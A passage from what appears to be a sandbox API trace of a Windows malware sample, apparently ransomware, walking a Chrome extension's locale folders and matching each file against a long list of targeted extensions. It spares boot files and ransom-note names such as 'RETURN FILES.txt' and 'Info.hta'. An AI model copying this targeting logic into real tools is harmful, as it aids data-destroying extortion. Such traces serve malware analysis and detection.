dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.496] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0197.497] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.499] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.500] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.500] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.500] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.500] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.501] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.502] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.502] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.502] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.502] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.502] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.502] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.503] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.504] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0197.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0197.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0197.505] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0199.966] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am") returned 132 [0199.966] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am") returned 1 [0199.966] lstrlenW (lpString="am") returned 2 [0199.966] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="am") returned 1 [0199.967] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x468ffe0 [0199.967] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am") returned 132 [0199.967] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\*", lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9eada1d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9eb2843, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9eb2843, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531780 [0199.969] lstrlenW (lpString="messages.json") returned 13 [0199.969] lstrlenW (lpString=".1cd") returned 4 [0199.969] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0199.969] lstrlenW (lpString=".3ds") returned 4 [0199.969] lstrcmpiW (lpString1=".3ds", lpString2="json") returned -1 [0199.969] lstrlenW (lpString=".3fr") returned 4 [0199.969] lstrcmpiW (lpString1=".3fr", lpString2="json") returned -1 [0199.969] lstrlenW (lpString=".3g2") returned 4 [0199.969] lstrcmpiW (lpString1=".3g2", lpString2="json") returned -1 [0199.969] lstrlenW (lpString=".3gp") returned 4 [0199.969] lstrcmpiW (lpString1=".3gp", lpString2="json") returned -1 [0199.969] lstrlenW (lpString=".7z") returned 3 [0199.969] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0199.969] lstrlenW (lpString=".accda") returned 6 [0199.969] lstrcmpiW (lpString1=".accda", lpString2="s.json") returned -1 [0199.969] lstrlenW (lpString=".accdb") returned 6 [0199.970] lstrcmpiW (lpString1=".accdb", lpString2="s.json") returned -1 [0199.970] lstrlenW (lpString=".accdc") returned 6 [0199.970] lstrcmpiW (lpString1=".accdc", lpString2="s.json") returned -1 [0199.970] lstrlenW (lpString=".accde") returned 6 [0199.970] lstrcmpiW (lpString1=".accde", lpString2="s.json") returned -1 [0199.970] lstrlenW (lpString=".accdt") returned 6 [0199.970] lstrcmpiW (lpString1=".accdt", lpString2="s.json") returned -1 [0199.970] lstrlenW (lpString=".accdw") returned 6 [0199.970] lstrcmpiW (lpString1=".accdw", lpString2="s.json") returned -1 [0199.970] lstrlenW (lpString=".adb") returned 4 [0199.970] lstrcmpiW (lpString1=".adb", lpString2="json") returned -1 [0199.970] lstrlenW (lpString=".adp") returned 4 [0199.970] lstrcmpiW (lpString1=".adp", lpString2="json") returned -1 [0199.970] lstrlenW (lpString=".ai") returned 3 [0199.970] lstrcmpiW (lpString1=".ai", lpString2="son") returned -1 [0199.970] lstrlenW (lpString=".ai3") returned 4 [0199.970] lstrcmpiW (lpString1=".ai3", lpString2="json") returned -1 [0199.970] lstrlenW (lpString=".ai4") returned 4 [0199.970] lstrcmpiW (lpString1=".ai4", lpString2="json") returned -1 [0199.970] lstrlenW (lpString=".ai5") returned 4 [0199.970] lstrcmpiW (lpString1=".ai5", lpString2="json") returned -1 [0199.970] lstrlenW (lpString=".ai6") returned 4 [0199.970] lstrcmpiW (lpString1=".ai6", lpString2="json") returned -1 [0199.970] lstrlenW (lpString=".ai7") returned 4 [0199.970] lstrcmpiW (lpString1=".ai7", lpString2="json") returned -1 [0199.970] lstrlenW (lpString=".ai8") returned 4 [0199.970] lstrcmpiW (lpString1=".ai8", lpString2="json") returned -1 [0199.970] lstrlenW (lpString=".anim") returned 5 [0199.970] lstrcmpiW (lpString1=".anim", lpString2=".json") returned -1 [0199.970] lstrlenW (lpString=".arw") returned 4 [0199.970] lstrcmpiW (lpString1=".arw", lpString2="json") returned -1 [0199.970] lstrlenW (lpString=".as") returned 3 [0199.971] lstrcmpiW (lpString1=".as", lpString2="son") returned -1 [0199.971] lstrlenW (lpString=".asa") returned 4 [0199.971] lstrcmpiW (lpString1=".asa", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".asc") returned 4 [0199.971] lstrcmpiW (lpString1=".asc", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".ascx") returned 5 [0199.971] lstrcmpiW (lpString1=".ascx", lpString2=".json") returned -1 [0199.971] lstrlenW (lpString=".asm") returned 4 [0199.971] lstrcmpiW (lpString1=".asm", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".asmx") returned 5 [0199.971] lstrcmpiW (lpString1=".asmx", lpString2=".json") returned -1 [0199.971] lstrlenW (lpString=".asp") returned 4 [0199.971] lstrcmpiW (lpString1=".asp", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".aspx") returned 5 [0199.971] lstrcmpiW (lpString1=".aspx", lpString2=".json") returned -1 [0199.971] lstrlenW (lpString=".asr") returned 4 [0199.971] lstrcmpiW (lpString1=".asr", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".asx") returned 4 [0199.971] lstrcmpiW (lpString1=".asx", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".avi") returned 4 [0199.971] lstrcmpiW (lpString1=".avi", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".avs") returned 4 [0199.971] lstrcmpiW (lpString1=".avs", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".backup") returned 7 [0199.971] lstrcmpiW (lpString1=".backup", lpString2="es.json") returned -1 [0199.971] lstrlenW (lpString=".bak") returned 4 [0199.971] lstrcmpiW (lpString1=".bak", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".bay") returned 4 [0199.971] lstrcmpiW (lpString1=".bay", lpString2="json") returned -1 [0199.971] lstrlenW (lpString=".bd") returned 3 [0199.971] lstrcmpiW (lpString1=".bd", lpString2="son") returned -1 [0199.971] lstrlenW (lpString=".bin") returned 4 [0199.971] lstrcmpiW (lpString1=".bin", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".bmp") returned 4 [0199.972] lstrcmpiW (lpString1=".bmp", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".bz2") returned 4 [0199.972] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".c") returned 2 [0199.972] lstrcmpiW (lpString1=".c", lpString2="on") returned -1 [0199.972] lstrlenW (lpString=".cdr") returned 4 [0199.972] lstrcmpiW (lpString1=".cdr", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".cer") returned 4 [0199.972] lstrcmpiW (lpString1=".cer", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".cf") returned 3 [0199.972] lstrcmpiW (lpString1=".cf", lpString2="son") returned -1 [0199.972] lstrlenW (lpString=".cfc") returned 4 [0199.972] lstrcmpiW (lpString1=".cfc", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".cfm") returned 4 [0199.972] lstrcmpiW (lpString1=".cfm", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".cfml") returned 5 [0199.972] lstrcmpiW (lpString1=".cfml", lpString2=".json") returned -1 [0199.972] lstrlenW (lpString=".cfu") returned 4 [0199.972] lstrcmpiW (lpString1=".cfu", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".chm") returned 4 [0199.972] lstrcmpiW (lpString1=".chm", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".cin") returned 4 [0199.972] lstrcmpiW (lpString1=".cin", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".class") returned 6 [0199.972] lstrcmpiW (lpString1=".class", lpString2="s.json") returned -1 [0199.972] lstrlenW (lpString=".clx") returned 4 [0199.972] lstrcmpiW (lpString1=".clx", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".config") returned 7 [0199.972] lstrcmpiW (lpString1=".config", lpString2="es.json") returned -1 [0199.972] lstrlenW (lpString=".cpp") returned 4 [0199.972] lstrcmpiW (lpString1=".cpp", lpString2="json") returned -1 [0199.972] lstrlenW (lpString=".cr2") returned 4 [0199.973] lstrcmpiW (lpString1=".cr2", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".crt") returned 4 [0199.973] lstrcmpiW (lpString1=".crt", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".crw") returned 4 [0199.973] lstrcmpiW (lpString1=".crw", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".cs") returned 3 [0199.973] lstrcmpiW (lpString1=".cs", lpString2="son") returned -1 [0199.973] lstrlenW (lpString=".css") returned 4 [0199.973] lstrcmpiW (lpString1=".css", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".csv") returned 4 [0199.973] lstrcmpiW (lpString1=".csv", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".cub") returned 4 [0199.973] lstrcmpiW (lpString1=".cub", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".dae") returned 4 [0199.973] lstrcmpiW (lpString1=".dae", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".dat") returned 4 [0199.973] lstrcmpiW (lpString1=".dat", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".db") returned 3 [0199.973] lstrcmpiW (lpString1=".db", lpString2="son") returned -1 [0199.973] lstrlenW (lpString=".dbf") returned 4 [0199.973] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".dbx") returned 4 [0199.973] lstrcmpiW (lpString1=".dbx", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".dc3") returned 4 [0199.973] lstrcmpiW (lpString1=".dc3", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".dcm") returned 4 [0199.973] lstrcmpiW (lpString1=".dcm", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".dcr") returned 4 [0199.973] lstrcmpiW (lpString1=".dcr", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".der") returned 4 [0199.973] lstrcmpiW (lpString1=".der", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".dib") returned 4 [0199.973] lstrcmpiW (lpString1=".dib", lpString2="json") returned -1 [0199.973] lstrlenW (lpString=".dic") returned 4 [0199.974] lstrcmpiW (lpString1=".dic", lpString2="json") returned -1 [0199.974] lstrlenW (lpString=".dif") returned 4 [0199.974] lstrcmpiW (lpString1=".dif", lpString2="json") returned -1 [0199.974] lstrlenW (lpString=".divx") returned 5 [0199.974] lstrcmpiW (lpString1=".divx", lpString2=".json") returned -1 [0199.974] lstrlenW (lpString=".djvu") returned 5 [0199.974] lstrcmpiW (lpString1=".djvu", lpString2=".json") returned -1 [0199.974] lstrlenW (lpString=".dng") returned 4 [0199.974] lstrcmpiW (lpString1=".dng", lpString2="json") returned -1 [0199.974] lstrlenW (lpString=".doc") returned 4 [0199.974] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0199.974] lstrlenW (lpString=".docm") returned 5 [0199.974] lstrcmpiW (lpString1=".docm", lpString2=".json") returned -1 [0199.974] lstrlenW (lpString=".docx") returned 5 [0199.974] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0199.974] lstrlenW (lpString=".dot") returned 4 [0199.974] lstrcmpiW (lpString1=".dot", lpString2="json") returned -1 [0199.974] lstrlenW (lpString=".dotm") returned 5 [0199.974] lstrcmpiW (lpString1=".dotm", lpString2=".json") returned -1 [0199.974] lstrlenW (lpString=".dotx") returned 5 [0199.974] lstrcmpiW (lpString1=".dotx", lpString2=".json") returned -1 [0199.974] lstrlenW (lpString=".dpx") returned 4 [0199.974] lstrcmpiW (lpString1=".dpx", lpString2="json") returned -1 [0199.974] lstrlenW (lpString=".dqy") returned 4 [0199.974] lstrcmpiW (lpString1=".dqy", lpString2="json") returned -1 [0199.974] lstrlenW (lpString=".dsn") returned 4 [0199.974] lstrcmpiW (lpString1=".dsn", lpString2="json") returned -1 [0199.974] lstrlenW (lpString=".dt") returned 3 [0199.974] lstrcmpiW (lpString1=".dt", lpString2="son") returned -1 [0199.974] lstrlenW (lpString=".dtd") returned 4 [0199.974] lstrcmpiW (lpString1=".dtd", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".dwg") returned 4 [0199.975] lstrcmpiW (lpString1=".dwg", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".dwt") returned 4 [0199.975] lstrcmpiW (lpString1=".dwt", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".dx") returned 3 [0199.975] lstrcmpiW (lpString1=".dx", lpString2="son") returned -1 [0199.975] lstrlenW (lpString=".dxf") returned 4 [0199.975] lstrcmpiW (lpString1=".dxf", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".edml") returned 5 [0199.975] lstrcmpiW (lpString1=".edml", lpString2=".json") returned -1 [0199.975] lstrlenW (lpString=".efd") returned 4 [0199.975] lstrcmpiW (lpString1=".efd", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".elf") returned 4 [0199.975] lstrcmpiW (lpString1=".elf", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".emf") returned 4 [0199.975] lstrcmpiW (lpString1=".emf", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".emz") returned 4 [0199.975] lstrcmpiW (lpString1=".emz", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".epf") returned 4 [0199.975] lstrcmpiW (lpString1=".epf", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".eps") returned 4 [0199.975] lstrcmpiW (lpString1=".eps", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".epsf") returned 5 [0199.975] lstrcmpiW (lpString1=".epsf", lpString2=".json") returned -1 [0199.975] lstrlenW (lpString=".epsp") returned 5 [0199.975] lstrcmpiW (lpString1=".epsp", lpString2=".json") returned -1 [0199.975] lstrlenW (lpString=".erf") returned 4 [0199.975] lstrcmpiW (lpString1=".erf", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".exr") returned 4 [0199.975] lstrcmpiW (lpString1=".exr", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".f4v") returned 4 [0199.975] lstrcmpiW (lpString1=".f4v", lpString2="json") returned -1 [0199.975] lstrlenW (lpString=".fido") returned 5 [0199.976] lstrcmpiW (lpString1=".fido", lpString2=".json") returned -1 [0199.976] lstrlenW (lpString=".flm") returned 4 [0199.976] lstrcmpiW (lpString1=".flm", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".flv") returned 4 [0199.976] lstrcmpiW (lpString1=".flv", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".frm") returned 4 [0199.976] lstrcmpiW (lpString1=".frm", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".fxg") returned 4 [0199.976] lstrcmpiW (lpString1=".fxg", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".geo") returned 4 [0199.976] lstrcmpiW (lpString1=".geo", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".gif") returned 4 [0199.976] lstrcmpiW (lpString1=".gif", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".grs") returned 4 [0199.976] lstrcmpiW (lpString1=".grs", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".gz") returned 3 [0199.976] lstrcmpiW (lpString1=".gz", lpString2="son") returned -1 [0199.976] lstrlenW (lpString=".h") returned 2 [0199.976] lstrcmpiW (lpString1=".h", lpString2="on") returned -1 [0199.976] lstrlenW (lpString=".hdr") returned 4 [0199.976] lstrcmpiW (lpString1=".hdr", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".hpp") returned 4 [0199.976] lstrcmpiW (lpString1=".hpp", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".hta") returned 4 [0199.976] lstrcmpiW (lpString1=".hta", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".htc") returned 4 [0199.976] lstrcmpiW (lpString1=".htc", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".htm") returned 4 [0199.976] lstrcmpiW (lpString1=".htm", lpString2="json") returned -1 [0199.976] lstrlenW (lpString=".html") returned 5 [0199.976] lstrcmpiW (lpString1=".html", lpString2=".json") returned -1 [0199.977] lstrlenW (lpString=".icb") returned 4 [0199.977] lstrcmpiW (lpString1=".icb", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".ics") returned 4 [0199.977] lstrcmpiW (lpString1=".ics", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".iff") returned 4 [0199.977] lstrcmpiW (lpString1=".iff", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".inc") returned 4 [0199.977] lstrcmpiW (lpString1=".inc", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".indd") returned 5 [0199.977] lstrcmpiW (lpString1=".indd", lpString2=".json") returned -1 [0199.977] lstrlenW (lpString=".ini") returned 4 [0199.977] lstrcmpiW (lpString1=".ini", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".iqy") returned 4 [0199.977] lstrcmpiW (lpString1=".iqy", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".j2c") returned 4 [0199.977] lstrcmpiW (lpString1=".j2c", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".j2k") returned 4 [0199.977] lstrcmpiW (lpString1=".j2k", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".java") returned 5 [0199.977] lstrcmpiW (lpString1=".java", lpString2=".json") returned -1 [0199.977] lstrlenW (lpString=".jp2") returned 4 [0199.977] lstrcmpiW (lpString1=".jp2", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".jpc") returned 4 [0199.977] lstrcmpiW (lpString1=".jpc", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".jpe") returned 4 [0199.977] lstrcmpiW (lpString1=".jpe", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".jpeg") returned 5 [0199.977] lstrcmpiW (lpString1=".jpeg", lpString2=".json") returned -1 [0199.977] lstrlenW (lpString=".jpf") returned 4 [0199.977] lstrcmpiW (lpString1=".jpf", lpString2="json") returned -1 [0199.977] lstrlenW (lpString=".jpg") returned 4 [0199.978] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0199.978] lstrlenW (lpString=".jpx") returned 4 [0199.978] lstrcmpiW (lpString1=".jpx", lpString2="json") returned -1 [0199.978] lstrlenW (lpString=".js") returned 3 [0199.978] lstrcmpiW (lpString1=".js", lpString2="son") returned -1 [0199.978] lstrlenW (lpString=".jsf") returned 4 [0199.978] lstrcmpiW (lpString1=".jsf", lpString2="json") returned -1 [0199.978] lstrlenW (lpString=".json") returned 5 [0199.978] lstrcmpiW (lpString1=".json", lpString2=".json") returned 0 [0199.978] lstrlenW (lpString="messages.json") returned 13 [0199.978] lstrlenW (lpString=".save") returned 5 [0199.978] lstrcmpiW (lpString1=".save", lpString2=".json") returned 1 [0199.978] lstrlenW (lpString="messages.json") returned 13 [0199.978] lstrcmpiW (lpString1="boot.ini", lpString2="messages.json") returned -1 [0199.978] lstrcmpiW (lpString1="bootfont.bin", lpString2="messages.json") returned -1 [0199.978] lstrcmpiW (lpString1="ntldr", lpString2="messages.json") returned 1 [0199.978] lstrcmpiW (lpString1="ntdetect.com", lpString2="messages.json") returned 1 [0199.978] lstrcmpiW (lpString1="io.sys", lpString2="messages.json") returned -1 [0199.978] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="messages.json") returned 1 [0199.978] lstrcmpiW (lpString1="Info.hta", lpString2="messages.json") returned -1 [0199.978] lstrcmpiW (lpString1="wmxsde.exe", lpString2="messages.json") returned 1 [0199.978] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\am\\messages.json") returned 146 [0199.979] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar") returned 132 [0199.979] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar") returned 1 [0199.979] lstrlenW (lpString="ar") returned 2 [0199.979] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ar") returned 1 [0199.979] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x468ffe0 [0199.979] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar") returned 132 [0199.979] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\6117.717.0.0_0\\_locales\\ar\\*", lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9eb9dbc, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe9ebeb97, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe9ebeb97, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4531780 [0199.979] lstrlenW (lpString="messages.json") returned 13 [0199.979] lstrlenW (lpString=".1cd") returned 4 [0199.979] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0199.979] lstrlenW (lpString=".3ds") returned 4 [0199.979] lstrcmpiW (lpString1=".3ds", lpString2="json") returned -1 [0199.979] lstrlenW (lpString=".3fr") returned 4 [0199.979] lstrcmpiW (lpString1=".3fr", lpString2="json") returned -1 [0199.979] lstrlenW (lpString=".3g2") returned 4 [0199.979] lstrcmpiW (lpString1=".3g2", lpString2="json") returned -1 [0199.979] lstrlenW (lpString=".3gp") returned 4 [0199.979] lstrcmpiW (lpString1=".3gp", lpString2="json") returned -1 [0199.979] lstrlenW (lpString=".7z") returned 3 [0199.980] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0199.980] lstrlenW (lpString=".accda") returned 6 [0199.980] lstrcmpiW (lpString1=".accda", lpString2="s.json") returned -1 [0199.980] lstrlenW (lpString=".accdb") returned 6 [0199.980] lstrcmpiW (lpString1=".accdb", lpString2="s.json") returned -1 [0199.980] lstrlenW (lpString=".accdc") returned 6 [0199.980] lstrcmpiW (lpString1=".accdc", lpString2="s.json") returned -1 [0199.980] lstrlenW (lpString=".accde") returned 6 [0199.980] lstrcmpiW (lpString1=".accde", lpString2="s.json") returned -1 [0199.980] lstrlenW (lpString=".accdt") returned 6 [0199.980] lstrcmpiW (lpString1=".accdt", lpString2="s.json") returned -1 [0199.980] lstrlenW (lpString=".accdw") returned 6 [0199.980] lstrcmpiW (lpString1=".accdw", lpString2="s.json") returned -1 [0199.980] lstrlenW (lpString=".adb") returned 4 [0199.980] lstrcmpiW (lpString1=".adb", lpString2="json") returned -1 [0199.980] lstrlenW (lpString=".adp") returned 4 [0199.980] lstrcmpiW (lpString1=".adp", lpString2="json") returned -1 [0199.980] lstrlenW (lpString=".ai") returned 3 [0199.980] lstrcmpiW (lpString1=".ai", lpString2="son") returned -1 [0199.980] lstrlenW (lpString=".ai3") returned 4 [0199.980] lstrcmpiW (lpString1=".ai3", lpString2="json") returned -1 [0199.980] lstrlenW (lpString=".ai4") returned 4 [0199.980] lstrcmpiW (lpString1=".ai4", lpString2="json") returned -1 [0199.980] lstrlenW (lpString=".ai5") returned 4 [0199.980] lstrcmpiW (lpString1=".ai5", lpString2="json") returned -1 [0199.980] lstrlenW (lpString=".ai6") returned 4 [0199.980] lstrcmpiW (lpString1=".ai6", lpString2="json") returned -1 [0199.980] lstrlenW (lpString=".ai7") returned 4 [0199.980] lstrcmpiW (lpString1=".ai7", lpString2="json") returned -1 [0199.980] lstrlenW (lpString=".ai8") returned 4 [0199.980] lstrcmpiW (lpString1=".ai8", lpString2="json") returned -1 [0199.980] lstrlenW (lpString=".anim") returned 5 [0199.980] lstrcmpiW (lpString1=".anim", lpString2=".json") returned -1 [0199.980] lstrlenW (lpString=".arw") returned 4 [0199.981] lstrcmpiW (lpString1=".arw", lpString2="json") returned -1 [0199.981] lstrlenW (lpString=".as") returned 3 [0199.981] lstrcmpiW (lpString1=".as", lpString2="son") returned -1 [0199.981] lstrlenW (lpString=".asa") returned 4 [0199.981] 